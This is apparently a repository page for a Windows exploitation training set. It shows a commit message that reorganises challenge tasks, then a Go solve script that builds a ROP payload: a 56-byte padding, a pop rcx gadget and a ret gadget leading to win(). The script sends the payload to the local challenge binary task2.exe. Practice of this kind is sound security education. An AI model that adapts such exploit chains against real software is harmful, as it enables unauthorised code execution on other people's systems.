larryandClaude Sonnet 4.6
c9aafc512b
Rename task dirs to 01_info_leak through 07_heap_aslr following a standard learning order (info leak → ROP → fmtstr → heap overflow → UAF → LFH grooming → ASLR bypass). Remove bof_basic, demos, heap_segment, and template directories. Strip debug symbols from all compiled challenge binaries and remove all .exe files from the tree. Strip all explanatory comments from solve scripts. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
51 lines
1.0 KiB
Go
51 lines
1.0 KiB
Go
package main
|
|
|
|
import (
|
|
"bytes"
|
|
"fmt"
|
|
"log"
|
|
"winpwn"
|
|
)
|
|
|
|
func main() {
|
|
target := "task2.exe"
|
|
|
|
peFile, err := winpwn.OpenPE(target)
|
|
if err != nil {
|
|
log.Fatalf("Failed to open PE: %v", err)
|
|
}
|
|
defer peFile.Close()
|
|
|
|
winRVA, err := peFile.GetProcAddress("win")
|
|
if err != nil {
|
|
log.Fatalf("win() not found: %v", err)
|
|
}
|
|
imageBase, err := peFile.ImageBase()
|
|
if err != nil {
|
|
log.Fatalf("Failed to read ImageBase: %v", err)
|
|
}
|
|
winAddr := imageBase + winRVA
|
|
fmt.Printf("[+] win() address: 0x%X\n", winAddr)
|
|
|
|
popRcx := uint64(0x140002740)
|
|
ret := uint64(0x140001000)
|
|
|
|
offset := 56
|
|
payload := bytes.Repeat([]byte("A"), offset)
|
|
payload = append(payload, winpwn.P64(popRcx)...)
|
|
payload = append(payload, winpwn.P64(0xDEADBEEF)...)
|
|
payload = append(payload, winpwn.P64(ret)...)
|
|
payload = append(payload, winpwn.P64(winAddr)...)
|
|
|
|
tube, err := winpwn.Spawn("./" + target)
|
|
if err != nil {
|
|
log.Fatalf("Spawn: %v", err)
|
|
}
|
|
|
|
if err := tube.SendLineAfter([]byte("Input: "), payload); err != nil {
|
|
log.Fatalf("SendLineAfter: %v", err)
|
|
}
|
|
|
|
tube.Interactive()
|
|
}
|